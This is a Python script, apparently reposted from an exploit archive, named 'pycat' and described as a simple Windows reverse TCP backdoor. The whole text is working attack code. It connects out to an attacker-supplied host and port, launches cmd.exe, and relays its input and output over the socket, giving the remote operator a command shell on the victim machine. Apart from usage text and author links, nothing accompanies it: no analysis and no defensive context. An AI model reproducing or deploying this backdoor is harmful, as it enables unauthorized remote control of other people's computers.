Kod:
Pycat Simple Windows Reverse TCP backdoor Exploit
import asyncio
import socket
import argparse
parser = argparse.ArgumentParser(formatter_class=argparse.RawTextHelpFormatter,
description="############### pycat ###############\n" \
" Windows Reverse TCP backdoor\n"
"Usage: python pycat.py --host netcatIP --port PORT\n\n" \
"Demo: youtube.com/watch?v=3sMhHL6c68E\n"\
"GitHub: github.com/danielhnmoreno/pycat\n" \
"Contact: [email protected]")
parser.add_argument('--host', action = 'store', dest = 'host', required = True, help = 'Host listening for reverse connection')
parser.add_argument('--port', action = 'store', type=int, dest = 'port', required = True, help = 'Port')
arguments = parser.parse_args()
HOST = arguments.host
PORT = arguments.port
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
async def shell():
while 1:
proc = await asyncio.create_subprocess_shell("cmd",
stdin=asyncio.subprocess.PIPE,
stdout=asyncio.subprocess.PIPE,
stderr=asyncio.subprocess.STDOUT)
cmd = b"\n"
proc.stdin.write(cmd)
while 1:
while 1:
out = await proc.stdout.readline()
break_ = out.decode("latin-1")
if break_[-2:] == ">\n" or break_[-3:] == "> \n":
s.send(out[:-1])
break
elif break_.endswith(">" + cmd.decode()) or break_.endswith("> " + cmd.decode()):
pass
else:
s.send(out)
cmd = s.recv(1024)
cmd_ = cmd.decode()
if cmd_ == "\n":
proc.stdin.write(b"\n")
elif cmd_.startswith("exit"):
proc.terminate()
break
else:
proc.stdin.write(cmd + b"\n")
asyncio.set_event_loop_policy(asyncio.WindowsProactorEventLoopPolicy())
asyncio.run(shell())
# 0day.today [2019-04-28] #